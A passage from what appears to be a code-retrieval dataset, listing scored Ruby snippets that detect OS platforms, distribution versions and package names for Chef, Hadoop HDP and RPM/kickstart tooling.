"text": "def hdp_version\n case node['hadoop']['distribution_version']\n when '2.2.0.0'\n '2.2.0.0-2041'\n when '2.2.1.0'\n '2.2.1.0-2340'\n when '2.2.4.2'\n '2.2.4.2-2'\n when '2.2.4.4'\n '2.2.4.4-16'\n when '2.2.6.0'\n '2.2.6.0-2800'\n when '2.2.6.3'\n '2.2.6.3-1'\n when '2.2.8.0'\n '2.2.8.0-3150'\n when '2.2.9.0'\n '2.2.9.0-3393'\n when '2.3.0.0'\n '2.3.0.0-2557'\n when '2.3.2.0'\n '2.3.2.0-2950'\n when '2.3.4.0'\n '2.3.4.0-3485'\n when '2.3.4.7'\n '2.3.4.7-4'\n when '2.3.6.0'\n '2.3.6.0-3796'\n when '2.4.0.0'\n '2.4.0.0-169'\n when '2.4.2.0'\n '2.4.2.0-258'\n when '2.4.3.0'\n '2.4.3.0-227'\n when '2.5.0.0'\n '2.5.0.0-1245'\n when '2.5.3.0'\n '2.5.3.0-37'\n when '2.5.5.0'\n '2.5.5.0-157'\n when '2.5.6.0'\n '2.5.6.0-40'\n when '2.6.0.3'\n '2.6.0.3-8'\n when '2.6.1.0'\n '2.6.1.0-129'\n when '2.6.2.0'\n '2.6.2.0-205'\n when '2.6.3.0'\n '2.6.3.0-235'\n when '2.6.4.0'\n '2.6.4.0-91'\n else\n # fetch build number from HDP public repository\n build_number = hdp_build_number(node['hadoop']['distribution_version'])\n [node['hadoop']['distribution_version'], build_number].compact.join('-')\n end\n end",
"title": ""
},
{
"docid": "a0c2059bc37dc08e6911d000d49a6988",
"score": "0.55145293",
"text": "def with_version_constraints_strings\n map do |recipe_name|\n if @versions[recipe_name]\n \"#{recipe_name}@#{@versions[recipe_name]}\"\n else\n recipe_name\n end\n end\n end",
"title": ""
},
{
"docid": "2e9fbb51c6d5d75d70ff7584d8b17348",
"score": "0.5509174",
"text": "def yum_releasever\n platform?('amazon') ? '6' : '$releasever'\n end",
"title": ""
},
{
"docid": "5f7ed0b623c4c45fdcf4d7dd791af73f",
"score": "0.5483611",
"text": "def platform_and_version\n case node['platform']\n when 'debian'\n platform_and_version = \"debian-#{node['platform_version'].to_i}\"\n when 'ubuntu'\n platform_and_version = \"ubuntu-#{node['platform_version']}\"\n end\n platform_and_version\n end",
"title": ""
},
{
"docid": "f99f8af014b53fb6a6e1a6c5483a1862",
"score": "0.54647756",
"text": "def get_linux_distro_version_codename\n version_codename_regex = /^VERSION_CODENAME=\\W*(\\w+)\\W*/\n File.open('/etc/os-release') do |release_file|\n release_file.each do |line|\n return line.match(version_codename_regex)[1].downcase if line =~ version_codename_regex\n end\n end\n ''\n end",
"title": ""
},
{
"docid": "40e847e830c3f968f90af1fcc5a2a2fd",
"score": "0.54577917",
"text": "def hdp_version\n case node['hadoop']['distribution_version']\n when '2.2.0.0'\n '2.2.0.0-2041'\n when '2.2.1.0'\n '2.2.1.0-2340'\n when '2.2.4.2'\n '2.2.4.2-2'\n when '2.2.4.4'\n '2.2.4.4-16'\n when '2.2.6.0'\n '2.2.6.0-2800'\n when '2.2.6.3'\n '2.2.6.3-1'\n when '2.2.8.0'\n '2.2.8.0-3150'\n when '2.2.9.0'\n '2.2.9.0-3393'\n when '2.3.0.0'\n '2.3.0.0-2557'\n when '2.3.2.0'\n '2.3.2.0-2950'\n when '2.3.4.0'\n '2.3.4.0-3485'\n when '2.3.4.7'\n '2.3.4.7-4'\n when '2.4.0.0'\n '2.4.0.0-169'\n else\n node['hadoop']['distribution_version']\n end\n end",
"title": ""
},
{
"docid": "0ec09a56da1bd70bef45526b0cc2fbe9",
"score": "0.5448605",
"text": "def rhel7x?\n platform_family?('rhel') && node['platform_version'].to_f >= 7\n end",
"title": ""
},
{
"docid": "0ec09a56da1bd70bef45526b0cc2fbe9",
"score": "0.5448605",
"text": "def rhel7x?\n platform_family?('rhel') && node['platform_version'].to_f >= 7\n end",
"title": ""
},
{
"docid": "70fb8e9f92f74b75ec41b76b751379d5",
"score": "0.5442632",
"text": "def component_versions(cmp)\n component_build_vars(cmp)['PACKAGE_VERSIONS']\nend",
"title": ""
},
{
"docid": "b78add10d9fe70e6132814c826659e76",
"score": "0.54324096",
"text": "def package_basename(extension='.gem')\n [ package_name, version ].join('-') + extension\n end",
"title": ""
},
{
"docid": "d87ca30566a2829f971118dccb03121e",
"score": "0.5420417",
"text": "def installed_version\n capture(\"#{chef_solo} -v || true\") =~ /Chef: (\\d+\\.\\d+\\.\\d+)/ ? $1 : nil\n end",
"title": ""
},
{
"docid": "65033d1fe73c8f530a3e36eb3a1e3d55",
"score": "0.5394618",
"text": "def fetch_linux_os_version\n `lsb_release -rs`.strip\nend",
"title": ""
},
{
"docid": "c809578127549b7ccb0c41ee3ab7bd78",
"score": "0.5390382",
"text": "def platform_shortname\n if platform_family == 'rhel'\n 'el'\n else\n platform\n end\n end",
"title": ""
},
{
"docid": "b8dece6a68c4f4ddc4384b05c07a9405",
"score": "0.5355495",
"text": "def installed_version\n lines = powershell_out!('Get-WmiObject -Class win32_product')\n .stdout.lines\n idx = lines.index do |l|\n l.match(/^\\W*Name\\W+:\\W+Chef Development Kit/)\n end\n return false if idx.nil?\n ver = lines[idx + 2].match(/:\\W+([0-9]+\\.[0-9]+\\.[0-9]+)\\.[0-9]+/)[1]\n ver == package_metadata[:version] ? 'latest' : ver\n end",
"title": ""
},
{
"docid": "6c1788bc3483f144f0974bd8016f635c",
"score": "0.5341085",
"text": "def populate_ks_pkg_list(options)\n pkg_list = []\n if options['service'].to_s.match(/centos|fedora|rhel|sl_|oel/)\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"@base\")\n end\n pkg_list.push(\"@core\")\n if options['service'].to_s.match(/[a-z]_6/)\n pkg_list.push(\"@console-internet\")\n pkg_list.push(\"@system-admin-tools\")\n end\n if not options['service'].to_s.match(/sl_6|[a-z]_5|fedora/)\n pkg_list.push(\"@network-file-system-client\")\n end\n if options['service'].to_s.match(/centos_[6,7]|fedora|sl_[6,7]/)\n if not options['service'].to_s.match(/fedora_2[3-9]|centos_6/)\n pkg_list.push(\"redhat-lsb-core\")\n if not options['service'].to_s.match(/rhel_[6,7]|oel_[6,7]|centos_7/)\n pkg_list.push(\"augeas\")\n pkg_list.push(\"tk\")\n end\n end\n if not options['service'].to_s.match(/fedora|_[6,7,8]/)\n pkg_list.push(\"ruby\")\n pkg_list.push(\"ruby-irb\")\n pkg_list.push(\"rubygems\")\n pkg_list.push(\"ruby-rdoc\")\n pkg_list.push(\"ruby-devel\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"augeas-libs\")\n pkg_list.push(\"ruby-libs\")\n end\n end\n if not options['service'].to_s.match(/fedora|el_[7,8]|centos_[6,7,8]/)\n pkg_list.push(\"grub\")\n pkg_list.push(\"libselinux-ruby\")\n end\n if options['service'].to_s.match(/el_[7,8]|centos_[7,8]/)\n pkg_list.push(\"iscsi-initiator-utils\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"e2fsprogs\")\n pkg_list.push(\"lvm2\")\n end\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"kernel-devel\")\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"automake\")\n pkg_list.push(\"autoconf\")\n pkg_list.push(\"lftp\")\n pkg_list.push(\"avahi\")\n end\n end\n pkg_list.push(\"kernel-headers\")\n pkg_list.push(\"dos2unix\")\n pkg_list.push(\"unix2dos\")\n if not options['service'].to_s.match(/fedora_2[4-9]|centos_6/)\n pkg_list.push(\"zlib-devel\")\n end\n if not options['service'].to_s.match(/fedora/)\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"libgpg-error-devel\")\n pkg_list.push(\"libxml2-devel\")\n pkg_list.push(\"libgcrypt-devel\")\n pkg_list.push(\"xz-devel\")\n pkg_list.push(\"libxslt-devel\")\n pkg_list.push(\"libstdc++-devel\")\n end\n if not options['service'].to_s.match(/rhel_5|fedora|centos_6/)\n pkg_list.push(\"perl-TermReadKey\")\n pkg_list.push(\"git\")\n pkg_list.push(\"perl-Git\")\n end\n pkg_list.push(\"gcc\")\n pkg_list.push(\"gcc-c++\")\n if not options['service'].to_s.match(/centos_|el_8/)\n pkg_list.push(\"dhcp\")\n end\n pkg_list.push(\"xinetd\")\n pkg_list.push(\"tftp-server\")\n end\n if not options['service'].to_s.match(/el_|centos_/)\n pkg_list.push(\"libgnome-keyring\")\n end\n if not options['service'].to_s.match(/rhel_5/)\n pkg_list.push(\"perl-Error\")\n end\n pkg_list.push(\"httpd\")\n if options['service'].to_s.match(/fedora/)\n pkg_list.push(\"net-tools\")\n pkg_list.push(\"bind-utils\")\n end\n if not options['service'].to_s.match(/fedora|el_8|centos_8/)\n pkg_list.push(\"ntp\")\n end\n pkg_list.push(\"rsync\")\n if options['service'].to_s.match(/sl_6/)\n pkg_list.push(\"-samba-client\")\n end\n end\n return pkg_list\nend",
"title": ""
},
{
"docid": "9a91b7318e2b46e1219350b93c594c92",
"score": "0.5334019",
"text": "def get_gem_names\n fetcher = Gem::SpecFetcher.fetcher\n\n list, = fetcher.available_specs(:complete)\n\n tuples = list.values.first\n\n tuples.map do |tuple,|\n tuple = tuple.to_a\n case tuple.last\n when Gem::Platform::RUBY then\n tuple[0, 2]\n else\n tuple\n end.join '-'\n end\n end",
"title": ""
},
{
"docid": "c9b3666aefe814c7fc77f4b92dbe7d88",
"score": "0.53333694",
"text": "def get_linux_version_info(iso_file_name)\n iso_info = File.basename(iso_file_name)\n if iso_file_name.match(/purity/)\n iso_info = iso_info.split(/_/)\n else\n iso_info = iso_info.split(/-/)\n end\n linux_distro = iso_info[0]\n linux_distro = linux_distro.downcase\n if linux_distro.match(/^sle$/)\n linux_distro = \"sles\"\n end\n if linux_distro.match(/oraclelinux/)\n linux_distro = \"oel\"\n end\n if linux_distro.match(/centos|ubuntu|sles|sl|oel|rhel/)\n if linux_distro.match(/sles/)\n if iso_info[2].match(/Server/)\n iso_version = iso_info[1]+\".0\"\n else\n iso_version = iso_info[1]+\".\"+iso_info[2]\n iso_version = iso_version.gsub(/SP/,\"\")\n end\n else\n if linux_distro.match(/sl$/)\n iso_version = iso_info[1].split(//).join(\".\")\n if iso_version.length == 1\n iso_version = iso_version+\".0\"\n end\n else\n if linux_distro.match(/oel|rhel/)\n if iso_file_name =~ /-rc-/\n iso_version = iso_info[1..3].join(\".\")\n iso_version = iso_version.gsub(/server/,\"\")\n else\n iso_version = iso_info[1..2].join(\".\")\n iso_version = iso_version.gsub(/[a-z,A-Z]/,\"\")\n end\n iso_version = iso_version.gsub(/^\\./,\"\")\n else\n iso_version = iso_info[1]\n end\n end\n end\n case iso_file_name\n when /i[3-6]86/\n iso_arch = \"i386\"\n when /x86_64/\n iso_arch = \"x86_64\"\n else\n if linux_distro.match(/centos|sl$/)\n iso_arch = iso_info[2]\n else\n if linux_distro.match(/sles|oel/)\n iso_arch = iso_info[4]\n else\n iso_arch = iso_info[3]\n iso_arch = iso_arch.split(/\\./)[0]\n if iso_arch.match(/amd64/)\n iso_arch = \"x86_64\"\n else\n iso_arch = \"i386\"\n end\n end\n end\n end\n else\n if linux_distro.match(/fedora/)\n iso_version = iso_info[1]\n iso_arch = iso_info[2]\n else\n if linux_distro.match(/purity/)\n iso_version = iso_info[1]\n iso_arch = \"x86_64\"\n else\n if linux_distro.match(/vmware/)\n iso_version = iso_info[3].split(/\\./)[0..-2].join(\".\")\n iso_update = iso_info[3].split(/\\./)[-1]\n iso_release = iso_info[4].split(/\\./)[-3]\n iso_version = iso_version+\".\"+iso_update+\".\"+iso_release\n iso_arch = \"x86_64\"\n else\n iso_version = iso_info[2]\n iso_arch = iso_info[3]\n end\n end\n end\n end\n return linux_distro,iso_version,iso_arch\nend",
"title": ""
},
{
"docid": "b7dc945d05069f5e2a5f72977902d6b8",
"score": "0.5329617",
"text": "def parsepkg package, force_rhel = nil\n raise \"Can't parse package name '#{package}'\" unless /(?<pkgname>^.*?)-(?<ver>[0-9\\.]*\\d)[.-](?<pkginfo>.*)$/ =~ package\n\n info = { name: pkgname, version: ver }\n pkgparts = pkginfo.split /[.-]/\n case info[:format] = pkgparts.pop\n when 'rpm'\n info[:arch] = pkgparts.pop\n raise \"Architecture '#{info[:arch]}' is not supported\" unless ['x86_64','noarch'].include? info[:arch]\n if pkgparts.detect { |c| /^(?:rh)?el(\\d)(_.*)?$/ =~ c }\n info[:rhel] = $~[1]\n else\n raise \"Can't determine CentOS release for '#{package}'. Force with -c option\" unless force_rhel\n info[:rhel] = force_rhel\n end\n when 'gem'\n else\n raise \"Suffix #{info[:format]} is not a recognized package type\"\n end\n return info\nend",
"title": ""
},
{
"docid": "be2bcc433157fe4884c5e734634f4629",
"score": "0.53291464",
"text": "def hdp_repo_os_path\n value_for_platform_family(\n %w(rhel amazon) => \"centos#{node['platform_version'].to_i}\",\n 'debian' => \"#{node['platform']}#{node['platform_version'].to_i}\"\n )\n end",
"title": ""
},
{
"docid": "2eb9d26c55813005086473b72c41f9b9",
"score": "0.53043747",
"text": "def rhel?\n platform_family?('rhel')\n end",
"title": ""
},
{
"docid": "2eb9d26c55813005086473b72c41f9b9",
"score": "0.53043747",
"text": "def rhel?\n platform_family?('rhel')\n end",
"title": ""
},
{
"docid": "27a61dc0b12064c1ffb8582c698b0b26",
"score": "0.52852523",
"text": "def redhat_based?(node = __getnode)\n %w{rhel fedora}.include?(node[\"platform_family\"])\n end",
"title": ""
},
{
"docid": "0935ebeccdea762fe15e4d1053942af3",
"score": "0.52840286",
"text": "def rhel?\n @flavor =~ /redhatenterpriseserver/\n end",
"title": ""
},
{
"docid": "d3ba8931048c561637683d88699da11e",
"score": "0.52773285",
"text": "def truncate_platform_version(platform_version, platform_shortname=nil)\n\n case platform_shortname\n when 'centos', 'debian', 'fedora', 'freebsd', 'rhel', 'el'\n # Only want MAJOR (e.g. Debian 7)\n platform_version.split('.').first\n when 'aix', 'arch', 'gentoo', 'mac_os_x', 'openbsd', 'slackware', 'solaris2', 'suse', 'ubuntu'\n # Only want MAJOR.MINOR (e.g. Mac OS X 10.9, Ubuntu 12.04)\n platform_version.split('.')[0..1].join('.')\n when 'omnios', 'smartos'\n # Only want MAJOR (e.g OmniOS r151006, SmartOS 20120809T221258Z)\n platform_version.split('.').first\n when 'windows'\n # Windows has this really awesome \"feature\", where their version numbers\n # internally do not match the \"marketing\" name.\n #\n # Definitively computing the Windows marketing name actually takes more\n # than the platform version. Take a look at the following file for the\n # details:\n #\n # https://github.com/opscode/chef/blob/master/lib/chef/win32/version.rb\n #\n # As we don't need to be exact here the simple mapping below is based on:\n #\n # http://www.jrsoftware.org/ishelp/index.php?topic=winvernotes\n #\n case platform_version\n when '5.0.2195', '2000' then '2000'\n when '5.1.2600', 'xp' then 'xp'\n when '5.2.3790', '2003r2' then '2003r2'\n when '6.0.6001', '2008' then '2008'\n when '6.1.7600', '7' then '7'\n when '6.1.7601', '2008r2' then '2008r2'\n when '6.2.9200', '8' then '8'\n # The following `when` will never match since Windows 2012's platform\n # version is the same as Windows 8. It's only here for completeness and\n # documentation.\n when '6.2.9200', '2012' then '2012'\n when '6.3.9200', '8.1' then '8.1'\n # The following `when` will never match since Windows 2012R2's platform\n # version is the same as Windows 8.1. It's only here for completeness\n # and documentation.\n when '6.3.9200', '2012r2' then '2012r2'\n else\n raise UnknownPlatformVersion.new(platform_shortname, platform_version)\n end\n else\n raise UnknownPlatform.new(platform_shortname)\n end\n end",
"title": ""
},
{
"docid": "f9fed8144be1600246e43730a4ff4b70",
"score": "0.5252454",
"text": "def host_packages(host)\n case host['platform']\n when /el-8/\n RHEL8_PACKAGES\n when /el-9/\n RHEL9_PACKAGES\n when /sles-10/\n SLES10_PACKAGES\n when /opensuse|sles-/\n SLES_PACKAGES\n when /debian/\n DEBIAN_PACKAGES\n when /cumulus/\n CUMULUS_PACKAGES\n when /windows/\n if host.is_cygwin?\n raise RuntimeError, \"cygwin is not installed on #{host}\" if !host.cygwin_installed?\n\n WINDOWS_PACKAGES\n else\n PSWINDOWS_PACKAGES\n end\n when /freebsd/\n FREEBSD_PACKAGES\n when /openbsd/\n OPENBSD_PACKAGES\n when /solaris-10/\n SOLARIS10_PACKAGES\n when /solaris-1[1-9]/\n SOLARIS11_PACKAGES\n when /archlinux/\n ARCHLINUX_PACKAGES\n when /fedora/\n FEDORA_PACKAGES\n else\n if !/aix|solaris|osx-|f5-|netscaler|cisco_/.match?(host['platform'])\n UNIX_PACKAGES\n else\n []\n end\n end\n end",
"title": ""
},
{
"docid": "d2f5448776ab9c5d16fe9f201596cda6",
"score": "0.5247368",
"text": "def versionString()\n\t\t\t\treturn \"#{major}.#{minor}.#{build}\"\n\t\t\tend",
"title": ""
},
{
"docid": "b3d4e542d2bc65e59b1ac050502c9202",
"score": "0.52275115",
"text": "def hadoop_package(name)\n return name unless hdp22?\n return name if node['platform_family'] == 'debian'\n fw = name.split('-').first\n pv = hdp_version.tr('.', '_').tr('-', '_')\n nn = \"#{fw}_#{pv}\"\n name.gsub(fw, nn)\n end",
"title": ""
},
{
"docid": "a09aa596e2da7089ae6d51d4362260fb",
"score": "0.5222068",
"text": "def installed_version\n sh = shell_out('pkgutil --pkg-info com.getchef.pkg.chefdk')\n return false if sh.exitstatus.nonzero?\n ver = sh.stdout.match(/^version:\\W+([0-9]+\\.[0-9]+\\.[0-9]+)$/)[1]\n ver == package_metadata[:version] ? 'latest' : ver\n end",
"title": ""
},
{
"docid": "a452826aec74677e577b54d1901216f7",
"score": "0.52115935",
"text": "def install_in_redhat(os, version)\n install_repo_rpms(os, version)\n install_package 'collectd'\n install_package 'collectd-disk'\nend",
"title": ""
},
{
"docid": "2d556c41d023829d2eca5a9e13e31c76",
"score": "0.520254",
"text": "def apt_packages\n PRE_INSTALLED_OS_PACKAGES[@app.release].join(\" #{NL_TAB}\")\n end",
"title": ""
},
{
"docid": "c0d5891193006cfa163c1319bc736c05",
"score": "0.5188774",
"text": "def fmri_package_name\n version = project.build_version.split(/[^\\d]/)[0..2].join(\".\")\n platform = Ohai[\"platform_version\"]\n \"#{safe_base_package_name}@#{version},#{platform}-#{project.build_iteration}\"\n end",
"title": ""
},
{
"docid": "b1e68c33aa098470d49e48c937a597e4",
"score": "0.51837254",
"text": "def package_name\n @version ? \"#{@name}-#{@version}\" : @name\n end",
"title": ""
},
{
"docid": "539fa683c1ef717b41f12c2b78145d80",
"score": "0.517312",
"text": "def rhel6?(node = __getnode)\n node[\"platform_family\"] == \"rhel\" && node[\"platform_version\"].to_f >= 6.0 && node[\"platform_version\"].to_f < 7.0\n end",
"title": ""
},
{
"docid": "c81446f9e1d0abe0e5826ef7b1f27ddf",
"score": "0.5160356",
"text": "def linux_identification\n \"#{fetch_linux_distributor}_#{fetch_linux_os_version}\"\nend",
"title": ""
},
{
"docid": "b085676484ab1733886576f5e69775ab",
"score": "0.51591194",
"text": "def full_name\n if platform == Gem::Platform::RUBY or platform.nil? then\n \"#{name}-#{version}\".untaint\n else\n \"#{name}-#{version}-#{platform}\".untaint\n end\n end",
"title": ""
},
{
"docid": "b903738e38c741e2fa4bec630385d595",
"score": "0.51583743",
"text": "def current_version\n node['chef_packages']['chef']['version']\nend",
"title": ""
},
{
"docid": "b903738e38c741e2fa4bec630385d595",
"score": "0.51583743",
"text": "def current_version\n node['chef_packages']['chef']['version']\nend",
"title": ""
},
{
"docid": "852a7e761902ea930e0a19bb5221712f",
"score": "0.51570743",
"text": "def build_candidate_versions\n versions = []\n new_resource.package_name.each_with_index do |name, index|\n version = if new_resource.version && !new_resource.version[index].nil?\n powershell_exec(build_powershell_package_command(\"Find-Package '#{name}'\", new_resource.version[index]), timeout: new_resource.timeout).result\n else\n powershell_exec(build_powershell_package_command(\"Find-Package '#{name}'\"), timeout: new_resource.timeout).result\n end\n if version.empty?\n version = nil\n end\n version = version.strip if version.respond_to?(:strip)\n versions.push(version)\n end\n versions\n end",
"title": ""
},
{
"docid": "a4fb7d355b2b7a3374406b064916749a",
"score": "0.5154131",
"text": "def package_version\n @semver.to_s '%M.%m.%p%s'\n end",
"title": ""
},
{
"docid": "2a492e8d29a60df49743623ba28a086e",
"score": "0.5146449",
"text": "def determine_command_for_facter4\n puppet_version = component_version(@puppet_executable)\n\n if puppet_version.match?(%r{^6\\.})\n # puppet 6 with facter 4\n [@facter_executable, '--json', '--show-legacy']\n else\n # puppet 7 with facter 4\n [@puppet_executable, 'facts', 'show', '--show-legacy']\n end\n end",
"title": ""
},
{
"docid": "ea68af200c886a390bbfefd84474cec7",
"score": "0.51460767",
"text": "def old_version?\n case @node['platform']\n when 'ubuntu'\n Chef::VersionConstraint.new(\"< 11.0\").include?(@node['platform_version'])\n when 'debian'\n Chef::VersionConstraint.new(\"< 7.0\").include?(@node['platform_version'])\n end\n end",
"title": ""
},
{
"docid": "531ee6943cc364bdcd800c22f498fa60",
"score": "0.5146066",
"text": "def platform_service_name(version = node.run_state['postgresql']['version'])\n case node['platform_family']\n when 'rhel', 'fedora'\n \"postgresql-#{version}\"\n when 'amazon'\n if node['virtualization']['system'] == 'docker'\n \"postgresql#{version.delete('.')}\"\n else\n \"postgresql-#{version}\"\n end\n else\n 'postgresql'\n end\n end",
"title": ""
},
{
"docid": "51eaa6ea66aa16d03a2aead41ad651bf",
"score": "0.51425153",
"text": "def get_ks_fusion_guest_os(options)\n guest_os = \"rhel6\"\n if options['arch'].to_s.match(/64/)\n guest_os = guest_os+\"-64\"\n else\n if !options['arch'].to_s.match(/i386/) && !options['arch'].to_s.match(/64/)\n guest_os = guest_os+\"-64\"\n end\n end\n return guest_os\nend",
"title": ""
},
{
"docid": "c6609c8cd1b195dc0d5168f7a95313c0",
"score": "0.5137614",
"text": "def installed_version\n res = Chef::Resource::Package.new('chefdk', run_context)\n prov = Chef::Provider::Package::Dpkg.new(res, run_context)\n ver = prov.load_current_resource.version.first\n return false if ver.nil?\n ver = ver.split('-').first\n ver == package_metadata[:version] ? 'latest' : ver\n end",
"title": ""
},
{
"docid": "11df4616fb8e1490b3ac3366c31b6952",
"score": "0.51247156",
"text": "def built_rpm_names(build)\n build.\n # Just names from the rpms without nvr info\n brew_rpms.map(&:name_nonvr).\n # Remove any duplicates\n uniq.\n # Filter out any debuginfo names\n reject{ |name| name =~ /debuginfo/ }.\n # Remove prefixes if there are any for this product. (Mainly for SCL, see Bug 1003719)\n map { |name| BrewRpmNamePrefix.strip_using_list_of_prefixes(@errata.product.brew_rpm_name_prefixes, name) }\n end",
"title": ""
},
{
"docid": "f2fb6a1deb639ed1b28242a6afd13e10",
"score": "0.51169807",
"text": "def package_name\n if supports_ports?\n if makefile_variable_value(\"PKGNAME\", port_path) =~ /^(.+)-[^-]+$/\n $1\n else\n raise Chef::Exceptions::Package, \"Unexpected form for PKGNAME variable in #{port_path}/Makefile\"\n end\n else\n new_resource.package_name\n end\n end",
"title": ""
},
{
"docid": "3bbcbb645764423f3283f5a0744517a0",
"score": "0.5111581",
"text": "def default_platform_service_name(version: installed_postgresql_major_version, source: installed_postgresql_package_source)\n if platform_family?('rhel', 'fedora', 'amazon') && source.eql?(:repo)\n \"postgresql-#{version}\"\n else\n 'postgresql'\n end\n end",
"title": ""
},
{
"docid": "fdf6d63efe981b1b2afb9719d43aa511",
"score": "0.5110728",
"text": "def fixed_versions(advisory, package)\n # Gem files only include fixes for one package, so we can just return all.\n return advisory.fix_versions.split(\"\\n\") if advisory.os_family == 'gem'\n\n # Otherwise, find any fixes where the name and arch match the given package.\n fixed = []\n advisory.fix_versions.split(\"\\n\").each do |fixed_package|\n m = /^(.+)-([^-]+)-([^-]+)\\.(\\w+)\\.rpm$/.match(fixed_package)\n next unless m[1] == package.name\n next unless m[4] == package.arch\n fixed.push(m[2] + '-' + m[3])\n end\n\n fixed\n end",
"title": ""
},
{
"docid": "88efb3654ce60e8b6038f8b2b84a02d9",
"score": "0.5110669",
"text": "def package_types\n case Ohai['platform_family']\n when 'debian'\n %w(deb)\n when 'fedora', 'rhel'\n %w(rpm)\n when 'aix'\n %w(bff)\n when 'solaris2'\n %w(solaris)\n when 'windows'\n %w(msi)\n when 'mac_os_x'\n %w(pkg mac_dmg)\n else\n %w(makeself)\n end\n end",
"title": ""
},
{
"docid": "559bd6d979b5ae95580bbc7cc38aca29",
"score": "0.5100657",
"text": "def to_s\n \"#{@distro.capitalize} #{@product.gsub(/_/, ' ').capitalize} #{@version}\"\n end",
"title": ""
},
{
"docid": "6d520d1560f8903fc36bb8dd386e24ed",
"score": "0.50999475",
"text": "def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end",
"title": ""
},
{
"docid": "68f161996c73a3e0dcef4f1c6657d11b",
"score": "0.5099142",
"text": "def rhel7?(node = __getnode)\n node[\"platform_family\"] == \"rhel\" && node[\"platform_version\"].to_f >= 7.0 && node[\"platform_version\"].to_f < 8.0\n end",
"title": ""
},
{
"docid": "8f9bb13c0f04830a51e746d346e768be",
"score": "0.50888234",
"text": "def mock_to_dist_version_arch(mock)\n # We care about matching against two patterns here:\n # pupent-3.4-el5-i386 <= old style with PE_VER baked into the mock name\n # pupent-el5-i386 <= new style derived from a template\n mock.match(/pupent(-\\d\\.\\d)?-([a-z]*)(\\d*)-([^-]*)/)[2..4]\n end",
"title": ""
},
{
"docid": "22200ec9bd3a37a134ee729867fecbf9",
"score": "0.5087774",
"text": "def package_types\n case platform_family\n when 'debian'\n %w(deb)\n when 'fedora', 'rhel'\n %w(rpm)\n when 'aix'\n %w(bff)\n when 'solaris2'\n %w(pkgmk)\n when 'windows'\n %w(msi)\n when 'mac_os_x'\n %w(mac_pkg mac_dmg)\n else\n %w(makeself)\n end\n end",
"title": ""
},
{
"docid": "2f01703febb66b55d9dd71b5c044f025",
"score": "0.50869083",
"text": "def yum_common_repo_url\n \"https://download.postgresql.org/pub/repos/yum/common/#{yum_repo_platform_family_string}/#{yum_repo_platform_string}\"\n end",
"title": ""
},
{
"docid": "82319eede1efc1a89954c12b7874b9c6",
"score": "0.50706303",
"text": "def get_pe_version(master)\n pe_major = on(master, 'facter -p pe_major_version').stdout.rstrip\n pe_minor = on(master, 'facter -p pe_minor_version').stdout.rstrip\n\n return \"#{pe_major}.#{pe_minor}\".to_f\nend",
"title": ""
},
{
"docid": "dfd866dc527b3c571f8b134decafc9a2",
"score": "0.50657463",
"text": "def redhat_enterprise_linux?(node)\n node['platform'] == 'enterprise'\n end",
"title": ""
},
{
"docid": "a8e599ec26f5bb00f5dd6caed287eb9a",
"score": "0.50568885",
"text": "def puppet_gem_version\n Gem::Version.create(puppet_version.split(' ').first.strip.gsub('-', '.'))\n end",
"title": ""
},
{
"docid": "efa456be91eba46f7e86dd732c583f85",
"score": "0.5055757",
"text": "def require_convert(k, v, prefix, klass)\n\n # package type/name maps\n map = { FPM::Package::RPM => :rpm, FPM::Package::Deb => :deb, FPM::Package::Phar => :phar }\n typ = map.include?(klass) ? map[klass] : :deb\n pn = {\n :php => { :phar => \"php\", :deb => \"php5-common\", :rpm => \"php(language)\" },\n :ext => { :phar => \"ext:\", :deb => \"php5-\", :rpm => \"php-\" },\n :lib => { :phar => \"sys:lib\", :deb => \"lib\", :rpm => \"lib\" },\n :bin => { :phar => \"bin:\", :deb => \"\", :rpm => \"/usr/bin/\" }\n }\n\n # package names, magic values\n case k = k.strip.gsub(/\\W+/, \"-\")\n when /^php(-32bit|-64bit)?|^hhvm|^quercus/\n k = pn[:php][typ]\n @architecture = ($1 == \"-32bit\") ? \"x86\" : \"amd64\" if $1\n when /^(ext|lib|bin)-(\\w+)$/\n k = pn[$1.to_sym][typ] + $2\n else\n k = prefix + k\n end\n\n # expand version specifiers (this is intentionally incomplete)\n if attributes[:no_depends_given?]\n v = \"\"\n else\n v = v.split(\",\").map {\n |v|\n case v = ver(v, typ)\n when \"*\"\n \"\"\n when /^[\\d.-]+~*$/ # 1.0.1\n \" = #{v}\"\n when /^((\\d+\\.)*(\\d+))\\.\\*/ # 1.0.*\n [\" >= #{$1}.0\", \" <= #{$1}.999\"]\n when /^([!><=]*)([\\d.-]+~*)$/ # >= 2.0 # debianize_op() normalizes >, <, = anyway\n \" #{$1} #{$2}\"\n when /^~\\s*([\\d.-]+~*)$/ # ~2.0 # deb.fix_dependency translates that into a range [\"pkg(>=1)\", \"pkg(<<2)\"]\n \" ~> #{$1}\"\n else\n \"\"\n end\n }\n end\n return k ? v.flatten.map { |v| k + v } : nil\n end",
"title": ""
},
{
"docid": "9ee0153cc67e5320d5a85c407e3a16b1",
"score": "0.5028995",
"text": "def platform_version_mac_os_x(arg)\n arg.match(/^[0-9]+\\.[0-9]+/).to_s\n end",
"title": ""
},
{
"docid": "fd0e2b9de476f05420ed68d3cd7ead2b",
"score": "0.5024056",
"text": "def rhel8?(node = __getnode)\n node[\"platform_family\"] == \"rhel\" && node[\"platform_version\"].to_f >= 8.0 && node[\"platform_version\"].to_f < 9.0\n end",
"title": ""
},
{
"docid": "e3ad94cb4770ac5f7f1eb5f6d473b7e5",
"score": "0.5023003",
"text": "def mock_el_family(mock_config)\n if Pkg::Config.build_pe\n # This uses a regex capture instead of splitting to allow the now defunct PE version component to be optional\n family = mock_config.match(/^pupent-(\\d\\.\\d-)?([a-z]+)([0-9]+)-(.*)$/)[2]\n else\n first, second = mock_config.split('-')\n if ['el', 'fedora'].include?(first)\n family = first\n elsif first == 'pl'\n if second.match(/^\\d+$/)\n family = 'el'\n else\n family = second\n end\n end\n end\n family\nend",
"title": ""
},
{
"docid": "bb61f6bde2badd581dcf4b21503c4a14",
"score": "0.5017106",
